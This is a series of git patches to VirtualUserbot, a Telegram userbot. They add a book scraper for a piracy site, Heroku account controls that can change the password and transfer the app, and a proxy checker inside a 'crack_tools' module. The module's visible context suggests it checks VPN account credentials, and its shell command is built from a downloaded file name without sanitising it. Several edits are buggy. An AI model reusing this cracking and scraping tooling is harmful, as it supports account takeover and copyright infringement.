megadl.edit("`MEGA.nz link not found...`") return None - cmd = f"bin/megadown -q -m {link}" + cmd = f"DOWNLOADS -q -m {link}" result = await subprocess_run(megadl, cmd) try: data = json.loads(result[0]) From 480a323f7037ec9fbf4c3f94542a1d310f2a1e0e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 12:37:03 +0530 Subject: [PATCH 158/838] Update mega.py --- fridaybot/modules/mega.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/mega.py b/fridaybot/modules/mega.py index 77cf062a..dc8e96b2 100644 --- a/fridaybot/modules/mega.py +++ b/fridaybot/modules/mega.py @@ -77,7 +77,7 @@ async def mega_downloader(megadl): except IndexError: await megadl.edit("`MEGA.nz link not found...`") return None - cmd = f"DOWNLOADS -q -m {link}" + cmd = f"./DOWNLOADS -q -m {link}" result = await subprocess_run(megadl, cmd) try: data = json.loads(result[0]) From f71a38a4befaf2d6765fba3267c8e879a955e18c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 12:44:14 +0530 Subject: [PATCH 159/838] Create books.py --- fridaybot/modules/books.py | 73 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 fridaybot/modules/books.py diff --git a/fridaybot/modules/books.py b/fridaybot/modules/books.py new file mode 100644 index 00000000..e9a60744 --- /dev/null +++ b/fridaybot/modules/books.py @@ -0,0 +1,73 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import requests +import os +import re +import sys +from bs4 import BeautifulSoup +from urllib.request import Request, urlopen, urlretrieve +from uniborg.util import friday_on_cmd +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + +@friday.on(admin_cmd(pattern="book (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + lool = 0 + await event.edit("searching for the book...") + lin = "https://b-ok.cc/s/" + text = input_str + link = lin+text + + headers = ['User-Agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0'] + page = requests.get(link) + soup = BeautifulSoup(page.content, 'html.parser') + f = open("book.txt",'w') + total = soup.find(class_="totalCounter") + for nb in total.descendants: + nbx = nb.replace("(", "").replace(")", "") + if nbx == "0": + await event.edit("No Books Found with that name.") + else: + + for tr in soup.find_all('td'): + for td in tr.find_all('h3'): + for ts in td.find_all('a'): + title = ts.get_text() + lool = lool+1 + for ts in td.find_all('a', attrs={'href': re.compile("^/book/")}): + ref = (ts.get('href')) + link = "https://b-ok.cc" + ref + + f.write("\n"+title) + f.write("\nBook link:- " + link+"\n\n") + + f.write("By Friday.") + f.close() + caption="By Friday.\n Get Your Friday From @FRIDAYCHAT" + + await borg.send_file(event.chat_id, "book.txt", caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**") + os.remove("book.txt") + + + +CMD_HELP.update( + { + "booksdl": "**Books Scraper**\ +\n\n**Syntax : **`.book `\ +\n**Usage :** Gets Instant Download Link Of Given Book." + } +) From 636f9f04ea1c3716da1d1e2137eda4bb265a5eb7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 13:11:16 +0530 Subject: [PATCH 160/838] Update books.py --- fridaybot/modules/books.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/books.py b/fridaybot/modules/books.py index e9a60744..c7372bb7 100644 --- a/fridaybot/modules/books.py +++ b/fridaybot/modules/books.py @@ -55,11 +55,11 @@ async def _(event): f.write("\n"+title) f.write("\nBook link:- " + link+"\n\n") - f.write("By Friday.") + f.write("By VirtualUserbot.") f.close() - caption="By Friday.\n Get Your Friday From @FRIDAYCHAT" + caption="By VirtualUserbot.\n Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot)" - await borg.send_file(event.chat_id, "book.txt", caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**") + await borg.send_file(event.chat_id, "book.txt", caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY VIRTUALUSERBOT. Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot).**") os.remove("book.txt") From ba230264670acd50782441f815e5cb57bfe7f57f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 14:06:46 +0530 Subject: [PATCH 161/838] Hope this will work --- fridaybot/modules/_inlinebot.py | 48 ++++++++++++++++++++++++++------- 1 file changed, 39 insertions(+), 9 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 1a6dc94c..f56ea78d 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -5,8 +5,7 @@ import requests from telethon import Button, custom, events, functions -from youtubesearchpython import SearchVideos - +from youtubesearchpython import VideosSearch from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST from fridaybot.modules import inlinestats @@ -104,7 +103,7 @@ async def on_plug_in_callback_query_handler(event): ) async def on_plug_in_callback_query_handler(event): if not event.query.user_id == bot.uid: - sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්.." + sedok = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්." await event.answer(sedok, cache_time=0, alert=True) return plugin_name = event.data_match.group(1).decode("UTF-8") @@ -215,6 +214,7 @@ async def on_plug_in_callback_query_handler(event): else: reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " await event.answer(reply_pop_up_alert, cache_time=0, alert=True) + def paginate_help(page_number, loaded_modules, prefix): number_of_rows = 8 @@ -251,10 +251,16 @@ def paginate_help(page_number, loaded_modules, prefix): ] return pairs - @tgbot.on(events.InlineQuery(pattern=r"torrent (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/Inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return testinput = event.pattern_match.group(1) starkisnub = urllib.parse.quote_plus(testinput) results = [] @@ -329,12 +335,20 @@ async def inline_id_handler(event: events.InlineQuery.Event): @tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/Inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return testinput = event.pattern_match.group(1) urllib.parse.quote_plus(testinput) results = [] - search = SearchVideos(f"{testinput}", offset=1, mode="dict", max_results=20) + search = VideosSearch(f"{testinput}", limit = 20) mi = search.result() - moi = mi["search_result"] + moi = mi["result"] + fk = 0 if search == None: resultm = builder.article( title="No Results Found.", @@ -352,7 +366,9 @@ async def inline_id_handler(event: events.InlineQuery.Event): fridayz = mio["id"] thums = mio["channel"] td = mio["duration"] - tw = mio["views"] + kk = moi[fk] + tw = kk["viewCount"]["text"] + fk = fk+1 kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" okayz = f"**Title :** `{thum}` \n**Link :** `{mo}` \n**Channel :** `{thums}` \n**Views :** `{tw}` \n**Duration :** `{td}`" hmmkek = f"Channel : {thums} \nDuration : {td} \nViews : {tw}" @@ -371,7 +387,14 @@ async def inline_id_handler(event: events.InlineQuery.Event): @tgbot.on(events.InlineQuery(pattern=r"jm (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): - event.builder + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return testinput = event.pattern_match.group(1) starkisnub = urllib.parse.quote_plus(testinput) results = [] @@ -409,13 +432,20 @@ async def inline_id_handler(event: events.InlineQuery.Event): @tgbot.on(events.InlineQuery) # pylint:disable=E0602 async def inline_handler(event): builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="Not Allowded", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return query = event.text replied_user = await tgbot.get_me() firstname = replied_user.username if query == None: resulte = builder.article( title="Usage Guide.", - description="(C) @Inukaasith", + description="(C) VirtualUserbot", text=f"**How To Use Me?** \n**Youtube :** `@{firstname} yt ` \n**Example :** `@{firstname} yt why we lose song` \n\n**Torrent :** `@{firstname} torrent ` \n**Example :** `@{firstname} torrent avengers endgame ` \n\n**JioSaavan :** `@{firstname} jm ` \n**Example :** `@{firstname} jm dilbaar`", buttons=[ [Button.url("Contact Me", f"t.me/{firstname}")], From 3d182f8a97d71267aea25f1a71347ef013ee7e3c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 20:26:32 +0530 Subject: [PATCH 162/838] Update imagetools.py --- fridaybot/modules/imagetools.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py index 5d8df57b..90ad2e73 100644 --- a/fridaybot/modules/imagetools.py +++ b/fridaybot/modules/imagetools.py @@ -189,6 +189,8 @@ async def hmm(event): hmmu = await event.edit("hmm... Sending him to jail...🚶") await event.get_reply_message() img = await convert_to_image(event, borg) + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) mon = "./resources/jail/hmm.png" foreground = Image.open(mon).convert("RGBA") @@ -319,9 +321,11 @@ async def img(event): file_name = "testpb.jpg" ok = "./starkgangz/" + file_name await borg.send_file(event.chat_id, ok) + os.remove(files) for files in (ok, img): if files and os.path.exists(files): os.remove(files) + event.delete() # Credits To These : # https://github.com/midnightmadwalk [TG: @MidnightMadwalk] # https://github.com/code-rgb [TG: @DeletedUser420] From aab40d534fd65eca21f044ce2481c0981809ddc5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 20:29:48 +0530 Subject: [PATCH 163/838] Update crack_tools.py --- fridaybot/modules/crack_tools.py | 44 +++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py index 6f409136..fffefa79 100644 --- a/fridaybot/modules/crack_tools.py +++ b/fridaybot/modules/crack_tools.py @@ -1,7 +1,14 @@ import json import os import requests +from uniborg.util import friday_on_cmd from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd +from sys import argv +import urllib3 +import os + + from fridaybot.utils import friday_on_cmd data = { "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", @@ -207,7 +214,42 @@ def find_between( s, first, last ): return s[start:end] except ValueError: return "" - + + + + + +@friday.on(admin_cmd(pattern="proxy")) +async def _(event): + if event.fwd_from: + return + await event.edit("CHECKING PROXIES... PLEASE WAIT. MAY TAKE TIME DEPENDING ON NUMBER OF PROXIES.") + pablo = await event.get_reply_message() + escobar = await borg.download_media(pablo.media, Config.TMP_DOWNLOAD_DIRECTORY) + + cmd = f"python3 -m PyProxyToolkit.Console -i {escobar} -o goood.txt -t 80 -x 20 -s httpbinStrategy" + + os.system(cmd) + + file = open("goood.txt","r") + Counter = 0 + Content = file.read() + CoList = Content.split("\n") + for i in CoList: + if i: + Counter += 1 + file.close() + if Counter<=0: + await event.edit("Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid.") + elif Counter>=1: + file1 = open("goood.txt", "a") + file1.write("\nCHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT. ") + file1.close() + await borg.send_file(event.chat_id, "goood.txt", caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**") + os.remove(escobar) + os.remove("goood.txt") + + CMD_HELP.update( { "cracking_tools": "**Cracking Tools**\ From 5a84cc806a44b4324996e4a93f8ad5abb8f0a20d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 20:30:55 +0530 Subject: [PATCH 164/838] The Final Fucking Update --- fridaybot/modules/heroku_help.py | 234 +++++++++++++++++++++++++++++++ 1 file changed, 234 insertions(+) create mode 100644 fridaybot/modules/heroku_help.py diff --git a/fridaybot/modules/heroku_help.py b/fridaybot/modules/heroku_help.py new file mode 100644 index 00000000..af435006 --- /dev/null +++ b/fridaybot/modules/heroku_help.py @@ -0,0 +1,234 @@ +import asyncio +import math +import os + +import heroku3 +import requests + +from fridaybot.function.heroku_helper import HerokuHelper +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + +Heroku = heroku3.from_key(Var.HEROKU_API_KEY) +heroku_api = "https://api.heroku.com" + + +@friday.on(friday_on_cmd(pattern="(logs|log)")) +@friday.on(sudo_cmd(pattern="(logs|log)", allow_sudo=True)) +async def giblog(event): + herokuHelper = HerokuHelper(Var.HEROKU_APP_NAME, Var.HEROKU_API_KEY) + logz = herokuHelper.getLog() + with open("logs.txt", "w") as log: + log.write(logz) + await borg.send_file( + event.chat_id, "logs.txt", caption=f"**Logs Of {Var.HEROKU_APP_NAME}**" + ) + + +@friday.on(friday_on_cmd(pattern="(rerun|restarts)")) +@friday.on(sudo_cmd(pattern="(restart|restarts)", allow_sudo=True)) +async def restart_me(event): + herokuHelper = HerokuHelper(Var.HEROKU_APP_NAME, Var.HEROKU_API_KEY) + await event.edit("`App is Restarting. This is May Take Upto 10Min.`") + herokuHelper.restart() + + +@friday.on(friday_on_cmd(pattern="usage$")) +@friday.on(sudo_cmd(pattern="usage$", allow_sudo=True)) +async def dyno_usage(dyno): + """ + Get your account Dyno Usage + """ + await edit_or_reply(dyno, "`Trying To Fetch Dyno Usage....`") + useragent = ( + "Mozilla/5.0 (Linux; Android 10; SM-G975F) " + "AppleWebKit/537.36 (KHTML, like Gecko) " + "Chrome/80.0.3987.149 Mobile Safari/537.36" + ) + user_id = Heroku.account().id + headers = { + "User-Agent": useragent, + "Authorization": f"Bearer {Var.HEROKU_API_KEY}", + "Accept": "application/vnd.heroku+json; version=3.account-quotas", + } + path = "/accounts/" + user_id + "/actions/get-quota" + r = requests.get(heroku_api + path, headers=headers) + if r.status_code != 200: + return await edit_or_reply( + dyno, "`Error: something bad happened`\n\n" f">.`{r.reason}`\n" + ) + result = r.json() + quota = result["account_quota"] + quota_used = result["quota_used"] + + """ - Used - """ + remaining_quota = quota - quota_used + percentage = math.floor(remaining_quota / quota * 100) + minutes_remaining = remaining_quota / 60 + hours = math.floor(minutes_remaining / 60) + minutes = math.floor(minutes_remaining % 60) + + """ - Current - """ + App = result["apps"] + try: + App[0]["quota_used"] + except IndexError: + AppQuotaUsed = 0 + AppPercentage = 0 + else: + AppQuotaUsed = App[0]["quota_used"] / 60 + AppPercentage = math.floor(App[0]["quota_used"] * 100 / quota) + AppHours = math.floor(AppQuotaUsed / 60) + AppMinutes = math.floor(AppQuotaUsed % 60) + + await asyncio.sleep(1.5) + + return await edit_or_reply( + dyno, + "**Dyno Usage Data**:\n\n" + f"✗ **APP NAME =>** `{Var.HEROKU_APP_NAME}` \n" + f"✗ **Usage in Hours And Minutes =>** `{AppHours}h` `{AppMinutes}m`" + f"✗ **Usage Percentage =>** [`{AppPercentage} %`]\n" + "\n\n" + "✗ **Dyno Remaining This Months 📆:**\n" + f"✗ `{hours}`**h** `{minutes}`**m** \n" + f"✗ **Percentage :-** [`{percentage}`**%**]", + ) + + +@friday.on( + friday_on_cmd(pattern="(set|get|del) var(?: |$)(.*)(?: |$)([\s\S]*)", outgoing=True) +) +@friday.on( + sudo_cmd(pattern="(set|get|del) var(?: |$)(.*)(?: |$)([\s\S]*)", allow_sudo=True) +) +async def variable(var): + """ + Manage most of ConfigVars setting, set new var, get current var, + or delete var... + """ + if Var.HEROKU_APP_NAME is not None: + app = Heroku.app(Var.HEROKU_APP_NAME) + else: + return await edit_or_reply( + var, "`[HEROKU]:" "\nPlease setup your` **HEROKU_APP_NAME**" + ) + exe = var.pattern_match.group(1) + heroku_var = app.config() + if exe == "get": + await edit_or_reply(var, "`Getting information...`") + await asyncio.sleep(1.5) + try: + variable = var.pattern_match.group(2).split()[0] + if variable in heroku_var: + return await edit_or_reply( + var, + "**ConfigVars**:" f"\n\n`{variable} = {heroku_var[variable]}`\n", + ) + else: + return await edit_or_reply( + var, "**ConfigVars**:" f"\n\n`Error:\n-> {variable} don't exists`" + ) + except IndexError: + configs = prettyjson(heroku_var.to_dict(), indent=2) + with open("configs.json", "w") as fp: + fp.write(configs) + with open("configs.json", "r") as fp: + result = fp.read() + if len(result) >= 4096: + await var.client.send_file( + var.chat_id, + "configs.json", + reply_to=var.id, + caption="`Output too large, sending it as a file`", + ) + else: + await edit_or_reply( + var, + "`[HEROKU]` ConfigVars:\n\n" + "================================" + f"\n```{result}```\n" + "================================", + ) + os.remove("configs.json") + return + elif exe == "set": + await edit_or_reply(var, "`Setting information...`") + variable = var.pattern_match.group(2) + if not variable: + return await edit_or_reply(var, ">`.set var `") + value = var.pattern_match.group(3) + if not value: + variable = variable.split()[0] + try: + value = var.pattern_match.group(2).split()[1] + except IndexError: + return await edit_or_reply(var, ">`.set var `") + await asyncio.sleep(1.5) + if variable in heroku_var: + await edit_or_reply( + var, f"**{variable}** `successfully changed to` -> **{value}**" + ) + else: + await edit_or_reply( + var, f"**{variable}** `successfully added with value` -> **{value}**" + ) + heroku_var[variable] = value + elif exe == "del": + await edit_or_reply(var, "`Getting information to deleting variable...`") + try: + variable = var.pattern_match.group(2).split()[0] + except IndexError: + return await edit_or_reply( + var, "`Please specify ConfigVars you want to delete`" + ) + await asyncio.sleep(1.5) + if variable in heroku_var: + await edit_or_reply(var, f"**{variable}** `successfully deleted`") + del heroku_var[variable] + else: + return await edit_or_reply(var, f"**{variable}** `is not exists`") + + +@friday.on(friday_on_cmd(pattern="shp ?(.*)")) +async def lel(event): + cpass, npass = event.pattern_match.group(1).split(" ", 1) + await event.edit("`Changing You Pass`") + accountm = Heroku.account() + accountm.change_password(cpass, npass) + await event.edit(f"`Done !, Changed You Pass to {npass}") + + +@friday.on(friday_on_cmd(pattern="acolb (.*)")) +async def sf(event): + hmm = event.pattern_match.group(1) + app = Heroku.app(Var.HEROKU_APP_NAME) + collaborator = app.add_collaborator(user_id_or_email=hmm, silent=0) + await event.edit("`Sent Invitation To Accept Your Collab`") + + +@friday.on(friday_on_cmd(pattern="tfa (.*)")) +async def l(event): + hmm = event.pattern_match.group(1) + app = Heroku.app(Var.HEROKU_APP_NAME) + transfer = app.create_transfer(recipient_id_or_name=hmm) + + +@friday.on(friday_on_cmd(pattern="kd (.*)")) +async def killdyno(event): + app = Heroku.app(Var.HEROKU_APP_NAME) + await event.edit("`Dyno Is Off. Manually Turn it On Later`") + app.kill_dyno("bash start.sh") + + +def prettyjson(obj, indent=2, maxlinelength=80): + """Renders JSON content with indentation and line splits/concatenations to fit maxlinelength. + Only dicts, lists and basic types are supported""" + + items, _ = getsubitems( + obj, + itemkey="", + islast=True, + maxlinelength=maxlinelength - indent, + indent=indent, + ) + return indentitems(items, indent, level=0) From 38420e75f126f34ed4d446ee325b7aa19b2839d3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 20:33:06 +0530 Subject: [PATCH 165/838] Update webtools.py From c8b4f7bd572428580302e94acd55cd873e16f717 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 20:34:09 +0530 Subject: [PATCH 166/838] Update programmer_jokes.py --- fridaybot/modules/programmer_jokes.py | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/programmer_jokes.py b/fridaybot/modules/programmer_jokes.py index fd6f900f..f7fa4fe2 100644 --- a/fridaybot/modules/programmer_jokes.py +++ b/fridaybot/modules/programmer_jokes.py @@ -11,11 +11,11 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . - import pyjokes -from uniborg.util import friday_on_cmd +from howdoi import howdoi from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"pjoke")) @@ -25,10 +25,23 @@ async def hi(event): await event.edit(pyjokes.get_joke(category="all")) +@friday.on(friday_on_cmd(pattern="howdoi ?(.*)")) +async def __(event): + query = event.pattern_match.group(1) + if query == None: + await event.edit("`Give Some Query First`") + return + output = howdoi.howdoi(query) + lel = f"Here is Your Answer \n{output}" + await event.edit(lel, parse_mode="HTML") + + CMD_HELP.update( { "programmer_jokes": "**Programmer Jokes**\ \n\n**Syntax : **`.pjoke`\ -\n**Usage :** Get programmer jokes." +\n**Usage :** Get programmer jokes.\ +\n\n**Syntax : **`.howdoi `\ +\n**Usage :** Gives Answers For Given Programming Questions." } ) From f50a2221ad3fe633f1957e20f2e4fdeae910430b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 21:00:03 +0530 Subject: [PATCH 167/838] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 467a5880..e1d69f7a 100644 --- a/README.md +++ b/README.md @@ -36,8 +36,8 @@ ``` The Methord is also same for this. Just deploy bot from this repo ``` # String Session (Need before deploying) -## Using Our Bot (Recommended) -[![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/StringSessionGeneratorRobot) +## Using the Bot (Recommended) +[![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) # Deploying To Heroku From 7f5551e222109939af2d17783b97393353d6cc93 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 21:01:00 +0530 Subject: [PATCH 168/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e1d69f7a..4122c566 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ ``` The Methord is also same for this. Just deploy bot from this repo ``` # String Session (Need before deploying) -## Using the Bot (Recommended) +### Using the Bot (Recommended) [![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) From aadfe500c9d06c755122df87ea271815d9df87e1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:16:18 +0530 Subject: [PATCH 169/838] Update README.md --- README.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 4122c566..c455348d 100644 --- a/README.md +++ b/README.md @@ -14,8 +14,6 @@ - - # Support @@ -25,10 +23,13 @@ ``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` - - - - +Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below +

+ + + + +

# How to Deploy guide by Friday From e250649a9b7e0b2caae5251c5635f88a10e818dc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:19:38 +0530 Subject: [PATCH 170/838] Update README.md --- README.md | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index c455348d..430ed4b8 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,8 @@ ``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` +# Before You Go +## AppID and API HASH Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below

@@ -30,14 +32,10 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from

-# How to Deploy guide by Friday - -``` The Methord is also same for this. Just deploy bot from this repo ``` - -# String Session (Need before deploying) -### Using the Bot (Recommended) +## String Session (Need before deploying) +#### Using the Bot (Recommended) [![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) @@ -48,6 +46,11 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from ``` Always try to Deploy this source. If not you will miss the future updates``` +# How to Deploy guide by Friday + + + +``` The Methord is also same for this. Just deploy bot from this repo ``` From ca3e4eda7f2452f6b2ace5add04cb21384dcc8ec Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:21:16 +0530 Subject: [PATCH 171/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 430ed4b8..d13ccecd 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@

- +

Support

# Support From 4b9fe7cae43b274535dc7a0a6d0e36a8b3df5437 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:21:50 +0530 Subject: [PATCH 172/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d13ccecd..c801c6e8 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@

-

Support

+

Support

# Support From a275a2d7db381b3ecd852a86c9446cf128be64a7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:23:05 +0530 Subject: [PATCH 173/838] Update README.md --- README.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index c801c6e8..3096a69d 100644 --- a/README.md +++ b/README.md @@ -11,19 +11,18 @@

+``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` - -

Support

# Support -``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` + # Before You Go -## AppID and API HASH +### AppID and API HASH Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below

@@ -34,7 +33,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from

-## String Session (Need before deploying) +### String Session (Need before deploying) #### Using the Bot (Recommended) [![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) @@ -46,7 +45,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from ``` Always try to Deploy this source. If not you will miss the future updates``` -# How to Deploy guide by Friday +## How to Deploy guide by Friday From 5c2091c4ef614bde4c53ee3c412bdbeeb37d78ad Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:24:26 +0530 Subject: [PATCH 174/838] Update README.md --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 3096a69d..2c009bb9 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@

+ ``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` # Support @@ -22,7 +23,8 @@ # Before You Go -### AppID and API HASH + +## AppID and API HASH Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below

@@ -33,7 +35,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from

